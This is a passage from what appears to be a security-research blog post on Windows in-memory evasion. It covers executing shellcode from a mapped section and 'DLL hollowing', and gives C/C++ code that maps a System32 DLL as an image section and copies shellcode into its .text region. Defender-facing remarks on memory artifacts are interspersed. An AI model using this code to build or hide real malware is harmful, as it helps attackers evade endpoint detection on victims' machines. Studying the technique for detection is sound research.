NtMapViewOfSection(</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>        hSection,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>        GetCurrentProcess(),</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>        (void **)&amp;pShellcodeMemory,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>        NULL, NULL, NULL,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>        &amp;cbViewSize,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>        2,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>        NULL,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>        PAGE_EXECUTE_READWRITE);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    if (NT_SUCCESS(NtStatus)) {</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>        memcpy(pShellcodeMemory, Shellcode, dwShellcodeSize);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>        CreateThread(</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>            nullptr,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>            0,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>            (LPTHREAD_START_ROUTINE)pShellcodeMemory,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>            nullptr,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>            0,</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>            nullptr);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    }</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>}</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">While this has the benefit of being (at present) slightly less common than direct virtual memory allocation with <a href="https://href.li/?https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntallocatevirtualmemory" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtAllocateVirtualMemory</u></a>, it creates similar malicious memory artifacts for defenders to look out for. One key difference between the two methods is that <a href="https://href.li/?https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntallocatevirtualmemory" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtAllocateVirtualMemory</u></a> will allocate private memory, whereas mapped section views will allocate mapped memory (shared section memory with a data <strong>control area</strong>).</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">While a malware writer may avoid the use of suspicious (and potentially monitored) APIs such as <a href="https://href.li/?https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntallocatevirtualmemory" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtAllocateVirtualMemory</u></a> and <a href="https://href.li/?https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtProtectVirtualMemory.html" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtProtectVirtualMemory</u></a> the end result in memory is ultimately quite similar with the key difference being the distinction between a <em>MEM_MAPPED</em> and <em>MEM_PRIVATE</em> memory type assigned to the shellcode memory.</p><h3 class="_3tkn1 _208Ie blog-post-header-three-font blog-post-header-three-color _2QAo- _25MYV _3ZX8L _1dH_e"></h3><h3 class="_3tkn1 _208Ie blog-post-header-three-font blog-post-header-three-color _2QAo- _25MYV _3ZX8L _1dH_e"><strong>DLL hollowing</strong></h3><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">With these concepts in mind, it's clear that masking malware in memory means utilizing <em>+RX</em> image memory, in particular the <em><strong>.text</strong></em> section of a mapped image view. The primary caveat to this is that such memory cannot be directly allocated, nor can existing memory be modified to mimic these attributes. Only the PTE which stores the active page permissions is mutable, while the VAD and section object control area which mark the region as image memory and associate it to its underlying DLL on disk are immutable. For this reason, properly implementing a DLL hollowing attack implies infection of a mapped view generated from a real DLL file on disk. Such DLL files should have a <em><strong>.text</strong></em> section with a <em>IMAGE_SECTION_HEADER.Misc.VirtualSize</em> greater than or equal to the size of the shellcode being implanted, and should not yet be loaded into the target process as this implies their modification could result in a crash.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">GetSystemDirectoryW(SearchFilePath, MAX_PATH);</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">wcscat_s(SearchFilePath, MAX_PATH, L"\\*.dll");</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">if ((hFind = FindFirstFileW(SearchFilePath, &amp;Wfd)) != INVALID_HANDLE_VALUE) {</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    do {</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">	if (GetModuleHandleW(Wfd.cFileName) == nullptr) {</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">            ...</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">	}</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">   }    </span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">   while (!bMapped &amp;&amp; FindNextFileW(hFind, &amp;Wfd));</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">   FindClose(hFind);</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">}</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">
In this code snippet I’ve enumerated files with a <strong><em>.dll</em></strong> extension in system32 and am ensuring they are not already loaded into my process using <a href="https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulefilenamew" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">KERNEL32.DLL!GetModuleFileNameW</u></a>, which walks the PEB loaded modules list and returns their base address (the same thing as their module handle) if a name match is found. In order to create a section from the image I first need to open a handle to it. I’ll discuss <a href="https://docs.microsoft.com/en-us/windows/win32/fileio/transactional-ntfs-portal" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">TxF</u></a> in the next section, but for the sake of this code walkthrough we can assume <a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">KERNEL.DLL!CreateFileW</u></a> is used. Upon opening this handle I can read the contents of the PE and validate its headers, particularly its <em>IMAGE_SECTION_HEADER.Misc.VirtualSize</em> field which indicates a sufficient size for my shellcode.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">uint32_t dwFileSize = GetFileSize(hFile, nullptr);</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">uint32_t dwBytesRead = 0;</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">pFileBuf = new uint8_t[dwFileSize];</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">if (ReadFile(hFile, pFileBuf, dwFileSize, (PDWORD)&amp; dwBytesRead, nullptr)) {</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    SetFilePointer(hFile, 0, nullptr, FILE_BEGIN);</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    IMAGE_DOS_HEADER* pDosHdr = (IMAGE_DOS_HEADER*)pFileBuf;</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    IMAGE_NT_HEADERS* pNtHdrs = (IMAGE_NT_HEADERS*)(pFileBuf + pDosHdr-&gt;e_lfanew);</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    IMAGE_SECTION_HEADER* pSectHdrs = (IMAGE_SECTION_HEADER*)((uint8_t*)&amp; pNtHdrs-&gt;OptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    if (pNtHdrs-&gt;OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR_MAGIC) {</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">        if (dwReqBufSize &lt; pNtHdrs-&gt;OptionalHeader.SizeOfImage &amp;&amp; (_stricmp((char*)pSectHdrs-&gt;Name, ".text") == 0 &amp;&amp; dwReqBufSize &lt; pSectHdrs-&gt;Misc.VirtualSize))</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">            ...</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">        }</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    }</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">    ...</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">}</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">
When a valid PE is found a section can be created from its file handle, and a view of it mapped to the local process memory space.</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>HANDLE hSection = nullptr;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>NtStatus = NtCreateSection(&amp;hSection, SECTION_ALL_ACCESS, nullptr, nullptr, PAGE_READONLY, SEC_IMAGE, hFile);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>if (NT_SUCCESS(NtStatus)) {</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>&nbsp;&nbsp;&nbsp;&nbsp;*pqwMapBufSize = 0;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>&nbsp;&nbsp;&nbsp;&nbsp;NtStatus = NtMapViewOfSection(hSection, GetCurrentProcess(), (void**)ppMapBuf, 0, 0, nullptr, (PSIZE_T)pqwMapBufSize, 1, 0, PAGE_READONLY);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>&nbsp;&nbsp;&nbsp;&nbsp;...</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>}</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">
The unique characteristic essential to this technique is the use of the <strong><em>SEC_IMAGE</em></strong> flag to <a href="http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtCreateSection</u></a>. When this flag is used, the initial permissions parameter is ignored (all mapped images end up with an initial allocation permission of <em>+RWXC</em>). Also worth noting is that the PE itself is validated by <a href="http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtCreateSection</u></a> at this stage, and if it is invalid in any way <a href="http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FSection%2FNtCreateSection.html" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!NtCreateSection</u></a> will fail (typically with error <strong><em>0xc0000005</em></strong>).</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">Finally, the region of memory corresponding to the .text section in the mapped view can be modified and implanted with the shellcode.

</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>*ppMappedCode = *ppMapBuf + pSectHdrs-&gt;VirtualAddress + dwCodeRva;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>if (!bTxF) {</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    uint32_t dwOldProtect = 0;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    if (VirtualProtect(*ppMappedCode, dwReqBufSize, PAGE_READWRITE, (PDWORD)&amp; dwOldProtect)) {</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	memcpy(*ppMappedCode, pCodeBuf, dwReqBufSize);</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	if (VirtualProtect(*ppMappedCode, dwReqBufSize, dwOldProtect, (PDWORD)&amp; dwOldProtect)) {</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	    bMapped = true;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	}</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    }</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>}</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>else {</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>    bMapped = true;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>}</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">Once the image section has been generated and a view of it has been mapped into the process memory space, it will share many characteristics in common with a module legitimately loaded via <a href="https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FLdrLoadDll.html" target="_top" rel="noopener" class="_2qJYG blog-link-hashtag-color _2IYtJ"><u class="sDZYg">NTDLL.DLL!LdrLoadDll</u></a> but with several key differences:</p><ul class="_2PG9L _3h-md"><li class="_1BJwx _208Ie _1dH_e _1e3Rk _2j9wS _2QAo- _25MYV _3ZX8L _1dH_e"><p class="_208Ie">Relocations will be applied, but imports will not yet be resolved.</p></li><li class="_1BJwx _208Ie _1dH_e _1e3Rk _2j9wS _2QAo- _25MYV _3ZX8L _1dH_e"><p class="_208Ie">The module will not have been added to the loaded modules list in usermode process memory.</p></li></ul><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">The loaded modules list is referenced in the <strong>LoaderData</strong> field of the PEB:

</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">typedef struct _PEB {</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">	BOOLEAN                 InheritedAddressSpace; // 0x0</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">	BOOLEAN                 ReadImageFileExecOptions; // 0x1</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">	BOOLEAN                 BeingDebugged; // 0x2</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">	BOOLEAN                 Spare; // 0x3</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><a class="_1fYLo blog-link-hashtag-color _7GGO0 _2N2cN" href="https://social-blog.wix.com/search/.hash.ifdef" target="_self"><span><em><span style="color:#92908d">#ifdef</span></em></span></a><em><span style="color:#92908d"> _WIN64</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">	uint8_t                    Padding1[4];</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><a class="_1fYLo blog-link-hashtag-color _7GGO0 _2N2cN" href="https://social-blog.wix.com/search/.hash.endif" target="_self"><span><em><span style="color:#92908d">#endif</span></em></span></a></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">	HANDLE                  Mutant; // 0x4 / 0x8</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">	void *                  ImageBase; // 0x8 / 0x10</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">	PPEB_LDR_DATA           LoaderData; // 0xC / 0x18</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">...</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><em><span style="color:#92908d">}</span></em></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">There are three such lists, all representing the same modules in a different ordering.&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>typedef struct _LDR_MODULE {</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	LIST_ENTRY              InLoadOrderModuleList;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	LIST_ENTRY              InMemoryOrderModuleList;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	LIST_ENTRY              InInitializationOrderModuleList;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	void *                  BaseAddress;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	void *                  EntryPoint;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	ULONG                   SizeOfImage;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	UNICODE_STRING          FullDllName;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	UNICODE_STRING          BaseDllName;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	ULONG                   Flags;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	SHORT                   LoadCount;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	SHORT                   TlsIndex;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	LIST_ENTRY              HashTableEntry;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	ULONG                   TimeDateStamp;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>} LDR_MODULE, *PLDR_MODULE;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e">&nbsp;</p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>typedef struct _PEB_LDR_DATA {</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	ULONG                   Length;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	ULONG                   Initialized;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	void *                  SsHandle;</em></span></p><p class="XzvDs _208Ie _1dH_e blog-post-text-font blog-post-text-color _2QAo- _25MYV _3ZX8L _1dH_e"><span style="color:#92908d"><em>	LIST_ENTRY              